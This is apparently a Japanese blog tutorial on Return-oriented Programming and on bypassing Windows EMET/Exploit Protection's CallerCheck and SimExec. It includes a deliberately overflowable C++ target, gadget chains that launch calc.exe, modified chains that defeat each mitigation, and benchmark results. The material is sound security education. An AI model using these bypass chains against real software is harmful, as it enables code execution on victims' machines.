敗北回です。
この記事の目次
忙しい人向けまとめ
- Return-oriented Programmingとは引数も戻り先アドレスもスタックで管理しているのを利用する任意コード実行攻撃である
- CallerCheckとSimExecはそれを検出して弾くためのEMET/Exploit Protectionの機能
- CallerCheckはcallで飛んできたかを調べretなどで来たなら弾く
- SimExecは20命令分までCallerCheckを繰り返す
- ただしどちらも仕組みがバレれば対策は容易
- Return-oriented Programming対策は今もまだ決着していない
前置き
バッファオーバーフローなどの脆弱性があってもそれだけでは任意コード実行には繋がりません。
ただメモリを書き換えるだけではなく、制御を奪い処理を変えてやる必要があります。
そういった任意コード実行につなげる技術の中でも、一際強力なものの1つにReturn-oriented Programming(以降ROP)があります。
CallerCheckもSimExecもこのROPを封じるために生まれ、力及ばず衰退したEMET/Exploit Protectionの機能です。
今回はROPとは何かを実物を交えて解説し、そこからCallerCheckやSimExecの対策の内容、およびROPがどのようにしてそれらを攻略していったかを解説していきます。
※本記事はx86アセンブリの基礎知識を必要とします。
Return-oriented Programmingとはなにか
※ここからはサンプルを交えて解説していきます( Download )
攻撃対象アプリとして以下を用意しました(ASLR/BufferSecurityCheck無効、DEP有効)
サンプルの1フォルダにもNoGuard/target.cppおよびtarget.exeとして入っています。
#include <cstdio>
#include <cstring>
static char filename[256];
int main(const int argc, const char * const * const argv) {
std::strcpy(filename, argv[0]);
unsigned int size;
char name[64];
FILE *const fp = std::fopen("data.bin", "rb");
std::fread(&size, sizeof(size), 1, fp);
std::fread(name, 1, size, fp);
std::fclose(fp);
std::printf("name: %s\n", name);
return 0;
}
ハイライトしている箇所を見るとバッファオーバーフローが発生しています。
スタックのアドレスは以下の通り(コンパイル環境により異なります)
アドレス例 | 中身 |
0x0019FEE8 | name[64] |
0x0019FF28 | なにか |
0x0019FF2C | returnアドレス |
0x0019FF30 | argc |
0x0019FF34 | argv/size(再利用) |
sizeを72にしてreturnアドレスの部分を上書きしてやれば任意のアドレスを実行できそうです。
しかし任意のアドレスが実行できたとして、どうすれば任意の処理を行わせることが出来るのでしょうか?
そこで登場するのがROPです。
ROPとは要するに既存のコードを利用してスタック上でプログラミングする技術のことです。
ROPの大きな特徴としてDEPが有効であっても問題なく機能するというものがあります。
これは実行されるのはあくまでスタックが指している先でありスタック上は読み取りアクセスしかされないことに起因しています。
自由度も高く、目的となる処理を含むイメージ(今回はntdll.dll)の存在するアドレスさえわかれば大抵の処理は実装出来ます。
実際に試してみよう
NoGuard.exeを実行しdata.binが出力されたのを確認したあとtarget.exeを実行してみてください。
おそらくは電卓が起動したかと思います。
なぜこうなったのか
攻撃時のスタックは以下の通り
アドレス例 | 中身 | ROPの内容 | 備考 |
0x0019FEE8 | name[64] | 適当に0で埋める | |
0x0019FF28 | なにか | 適当に0で埋める | |
0x0019FF2C | returnアドレス | pop ecx; ret;のアドレス | |
0x0019FF30 | argc | filenameのアドレス | |
0x0019FF34 | argv/size(再利用) | mov eax, ecx; ret;のアドレス | |
pop ecx; ret;のアドレス | |||
0x636C6163 | “calc” | ||
mob DS:[eax], ecx; ret;のアドレス | |||
pop ecx; ret;のアドレス | |||
filenameのアドレス + 4 | |||
mov eax, ecx; ret;のアドレス | |||
pop ecx; ret;のアドレス | |||
0x6578652E | “.exe” | ||
mov DS:[eax], ecx; ret;のアドレス | |||
pop ecx; ret;のアドレス | |||
filenameのアドレス + 8 | |||
mov eax, ecx; ret;のアドレス | |||
pop ecx; ret;のアドレス | |||
0x00000000 | “\0” | ||
mov DS:[eax], ecx; ret;のアドレス | |||
WinExecのアドレス | |||
ExitProcessのアドレス | |||
filenameのアドレス | |||
SW_SHOW(0x05) | |||
0x00000000 |
このコードは要するに以下を実現するためのコードです。
::WinExec("calc.exe", SW_SHOW);
::ExitProcess(0);
NoGuard.exeの動作に必要な情報は以下の通りです。
returnアドレスまでの距離 | 68 |
適当に書き換え可能なアドレス(今回はfilename | 0x41C2D0 |
ntdll.dllのベースアドレス | 0x77080000 |
ntdll.dllの中身 |
では順に解説していきましょう。
「pop ecx; ret;のアドレス」というのはそのままpop ecx; ret;と命令が並んでいるコード領域のアドレスのことです。
DEPを回避する必要があるので.exeか.dllのコード領域内から見つけなければいけませんが、条件はそれだけなので関数の途中は当然のこと、場合により4byteの数値定数が偶然命令と同一になっている場合でも利用できます。
実際に以下を実行する場合を考えると
0x0019FF2C | returnアドレス | pop ecx; ret;のアドレス |
0x0019FF30 | argc | filenameのアドレス |
0x0019FF34 | argv/size(再利用) | mov eax, ecx; ret;のアドレス |
- pop ecxのアドレスに移動する
- pop ecxが実行されecxレジスタにfilenameのアドレスが代入される
- retで次のmov eax, ecx; ret;に移動する
となります。
このように何か+ret命令のセットを次々実行していき任意の処理を実行するわけです。
ちなみにntdll.dllのベースアドレスなどが必要なのは、これらのコードの探索をntdll.dllの中から行っているためです。
逆に言えば他の領域から見つけることが出来るのであればそちらでも何も問題はありません。
以降を疑似コードで表現すると以下の通り。
unsigned int eax;
unsigned int ecx;
ecx = filename;
eax = ecx;
ecx = 0x636C6163; // "calc"
*reinterpret_cast<unsigned int *>(eax) = ecx;
ecx = filename + 4;
eax = ecx;
ecx = 0x6578652E; // ".exe"
*reinterpret_cast<unsigned int *>(eax) = ecx;
ecx = filename + 8;
eax = ecx;
ecx = 0x00000000; // "\0"
*reinterpret_cast<unsigned int *>(eax) = ecx;
WinExec(filename, 5/* SW_SHOW */);
ExitProcess(0);
※直にeaxにfilenameを代入するコードはWindows7のntdll.dllからは見つからなかったため、一度ecxを経由するなど手間をかけています。
Return-oriented Programmingまとめ
- ROPはバッファオーバーフローなどから任意コード実行につなげる技術
- スタック上だけでプログラミングできる
- 何か+retの命令を見つけてきて継ぎ接ぎする形で実現
- DEPは回避できる
このようにして任意コード実行を行うのがROP、次はこれにCallerCheckで対策を行います。
CallerCheck
一般的なアプリであれば関数は基本的にcall命令で呼びます。
なので戻り先アドレスの1つ前を見ればよっぽどのことが無い限りcall命令が見つかります。
逆にROPはretで移っていくためそのような性質を持ちません。
CallerCheckはその点に着目した技術で、戻り先アドレスの1つ前の命令が正しくcallであることをチェックし、そうでないならクラッシュします。
実際に試してみよう
CallerCheckは手動でExploit Protectionから有効にする必要があります。
Windowsキー>Exploit Protectionと入力>プログラム設定>プログラムを追加してカスタマイズ>ファイルパス
ここで先ほどのtarget.exeを指定した上でCallerCheckを有効にしてから起動してみましょう。
無事電卓起動が阻止され強制終了するはずです。
なぜこうなったのか
CallerCheckは戻り先アドレスの一個前の命令が正しいcallでない場合はそこで強制終了する技術と書きました。
現実にはこのチェックをいつどこでやるかが問題となりますが、CallerCheckではROPで攻撃されやすい関数一覧を保持しており、それらの関数の頭部分でチェックするようにしています。
今回はWinExecの呼び出しでチェックがかかり、call命令ではなかったため実行前にクラッシュしたわけです。
対象関数
共通
ntdll.dll:
LdrLoadDll
NtAllocateVirtualMemory
NtCreateProcess
NtCreateProcessEx
NtCreateSection
NtCreateThreadEx
NtCreateUserProcess
NtProtectVirtualMemory
NtWriteVirtualMemory
RtlCreateHeap
ZwAllocateVirtualMemory
ZwCreateProcess
ZwCreateProcessEx
ZwCreateSection
ZwCreateThreadEx
ZwCreateUserProcess
ZwProtectVirtualMemory
ZwWriteVirtualMemory
kernel32.dll:
CreateFileMappingA
CreateFileMappingW
CreateProcessA
CreateProcessInternalA
CreateProcessInternalW
CreateProcessW
CreateRemoteThread
HeapCreate
LoadLibraryA
LoadLibraryExA
LoadLibraryExW
LoadLibraryW
MapViewOfFile
MapViewOfFileEx
VirtualAlloc
VirtualAllocEx
VirtualProtect
VirtualProtectEx
WinExec
WriteProcessMemory
kernelbase.dll:
CreateFileMappingNumaW
CreateFileMappingW
CreateRemoteThreadEx
HeapCreate
LoadLibraryExA
LoadLibraryExW
MapViewOfFile
MapViewOfFileEx
VirtualAlloc
VirtualAllocEx
VirtualProtect
VirtualProtectEx
WriteProcessMemory
EMET5.52のみ
ntdll.dll:
NtCreateFile
NtMapViewOfSection
NtUnmapViewOfSection
RtlAddVectoredExceptionHandler
ZwCreateFile
ZwMapViewOfSection
ZwUnmapViewOfSection
kernel32.dll:
CreateFileA
CreateFileW
kernelbase.dll:
CreateFileW
Exploit Protectionのみ
ntdll.dll:
LdrGetProcedureAddressForCaller
kernelbase.dll:
MapViewOfFileFromApp
CallerCheckまとめ
- CallerCheckは戻り先アドレスの直前の命令が正しいcallであるかを調べる
- 対象関数は決まっている
- 今回はWinExecが引っかかっている
次はCallerCheck回避を試みていきます。
ROPでCallerCheck回避
既に気づいている人も多いでしょうがCallerCheckはROPでcall命令を呼んでやれば回避できます。
具体的にはcall eax; ret;が見つかればいいわけで、実際に見つかります。
というわけでROPを書き換えるとこうなります。
~~(“calc.exe\0″の構築)~~ |
pop ecx; ret;のアドレス |
WinExecのアドレス |
mov eax, ecx; ret;のアドレス |
call eax; ret;のアドレス |
filenameのアドレス |
SW_SHOW(0x05) |
ExitProcessのアドレス |
0x00000000 |
実際にやってみよう
BypassCallerCheck.exeで生成したdata.binをtarget.exeを実行してみましょう、無事(?)電卓が起動したはずです。
ROPでCallerCheck回避まとめ
- 実際にcall命令を使えばCallerCheckは回避できる
- ROPでcall命令を使うことは難しくはない
仕組みがバレれば回避も余裕な類に思えますね。
CallerCheckは他にもjmpでの呼び出しなども弾くのですが、これは一般的なプログラミングテクニックでも使用されるため問題なのではないかとの意見もあるようです。
次はSimExecによる更なる対策を行います。
SimExec
CallerCheckを回避するためにcall命令を呼びましたが、そのcall命令の呼び出し元は偽装できるでしょうか?またさらにその前は?
すぐ上で書いたようにcall一回呼ぶためにもretを伴うレジスタ操作を何度か行っており、それら全てをcall命令ごしに行うことはとても現実的ではありません。
そこで20命令分(※EMETは15命令)までret後を先読みし、その範囲内で見つけたret全てでCallerCheckを行おうという考えが生まれました、それがSimExecです。
実際にやってみよう
SimExecもCallerCheckと同様手動でExploit Protectionから有効にする必要があります。
target.exeを対象にSimExecを有効にして起動してみましょう。
無事電卓の起動に失敗したはずです。
なぜこうなったのか
CallerCheck対策は1度callを挟んでいるとは言え20命令の中でExitProcessの先頭へのretを含みます。
そこでCallerCheckと同様のチェックが行われ、call命令が見つからなかったためROPだと見破ることができています。
SimExecまとめ
- SimExecとは20命令分シミュレートし、範囲内のret全てにCallerCheckする機能
- call eax; ret;を使用したROPで回避するのは難しい
次はSimExec回避を試みていきます。
ROPでSimExec回避
前回call命令での対策は難しいと書きましたが、SimExecは 実際にcall命令で呼んだかを見ているのではなくret後に到達する20命令を見ているだけです。
つまりcallで呼んだあとのretのごとくcall直後の命令を指定してしまえばよく、今都合よくcall eax; ret;のアドレスがあるのでこのret部分に連続で20回retしてやれば回避できます。
というわけでROPを書き換えるとこうなります。
~WinExec呼び出しコード~ |
SW_SHOW(0x05) |
call eax; ret;のret部分へのアドレス |
call eax; ret;のret部分へのアドレス |
~17命令省略~ |
call eax; ret;のret部分へのアドレス |
ExitProcessのアドレス |
0x00000000 |
※WinExecの呼び出しがcallのままなので厳密には20回retしてやる必要はありません。
実際にやってみよう
BypassSimExec.exeで同じようにdata.binを生成しtarget.exeを実行してみましょう、今回も無事(?)に電卓が起動したはずです。
ROPでSimExec回避まとめ
- call命令実行後のふりしたret命令20回で回避できてしまう
- 回避は別に難しくはない
こちらも仕組みがバレれば回避は余裕な類に思えますね。
一応バッファーオーバーフローの長さに制限があるパターンでは対策になりえますが、長さに負荷をかけたいならもっと別のアプローチの方が賢そうです。
ROP対策の是非
CallerCheckやSimExecはROP対策として導入されたものではありますが、現状ROP対策として有効に機能しているとはとても言えない状態です。
それどころか現在のWindowsのVC++のコンパイラオプションやOSのプロセス軽減策オプション(Exploit Protection)ではROPに対して必要十分な対策を行うことはできません。
最も有効なものはASLRによりアドレスを出来る限り秘匿すること。
次に有効なのがBufferSecurityCheckやSafeSEHなどの技術でそもそもROPを始めさせないことです。
あくまで自分に見えている範囲の話になりますが、日々新たなROP対策技術が開発されているとはいえ、今回のように詳細が分かれば対策は容易なものがほとんどであり、ROP対策はいたちごっこに近い状況だと感じています。
またロードされる全てのバイナリで有効にしなければ機能しないものも多く、OSやコンパイラの協力が壁となるのもその状況を加速させていると言えるでしょう。
あくまで現状ではですが、ROP対策にはROP狙い撃ち対策ではなく総合的なセキュリティーで対策するほうが賢いのかもしれません。
そのうえでCallerCheck/SimExecも有効にすべきかというと……
CallerCheck/SimExec速度比較
実はCallerCheck/SimExecには大きなデメリットが存在しています。
それは速度。
Windows10 1903でのVirtualProtectを10,000,000回実行した計測結果を載せておきます。
種別 | 計測結果(単位ms) | average(plain)を100%としたとき |
plain1 | 17,146 | 99.68% |
plain2 | 17,256 | 100.32% |
CallerCheck1 | 20,541 | 119.42% |
CallerCheck2 | 20,668 | 120.16% |
SimExec1 | 23,420 | 136.15% |
SimExec2 | 23,422 | 136.17% |
CC+SE1 | 24,122 | 140.24% |
CC+SE2 | 24,206 | 140.72% |
次にWIndows7+EMETで同様の計測をした結果。
種別 | 計測結果(単位ms) | average(plain)を100%としたとき |
plain1 | 9,328 | 98.43% |
plain2 | 9,625 | 101.57% |
CallerCheck1 | 47,875 | 505.20% |
CallerCheck2 | 46,953 | 495.47% |
SimExec1 | 53,593 | 565.54% |
SimExec2 | 54,171 | 571.64% |
CC+SE1 | 58,312 | 615.33% |
CC+SE2 | 57,828 | 610.23% |
Win7(というよりはおそらくはEMET)側は論外とも呼べる速度差、Win10側もボトルネックでの採用はためらわれる程度の速度差が出ています。
対象関数の数は多く、それらを内部的に使うAPIにも波及することを考えると範囲はかなり広くなると予想され、影響はそれなりに大きいと予想されます。
またExploit ProtectionではGetProcAddressも対象に入っているので気を付けてください。
※EMETではGetProcAddressは対象外。
このデメリットがある機能が前述程度の対策で回避されると考えると、私は費用対効果が割に合わないと感じました。
終わりに
今回はどちらかというとROP回でした。
CallerCheckとSimExecはMSからも動的有効化APIが何年も作りかけのまま放置されていたりと不遇な扱いで、おそらくは内部的にも似た評価なのだと思われます。
実際に有用かや有効にするべきかの判断は読者の皆様方にゆだねます。
ではまたいつの日か。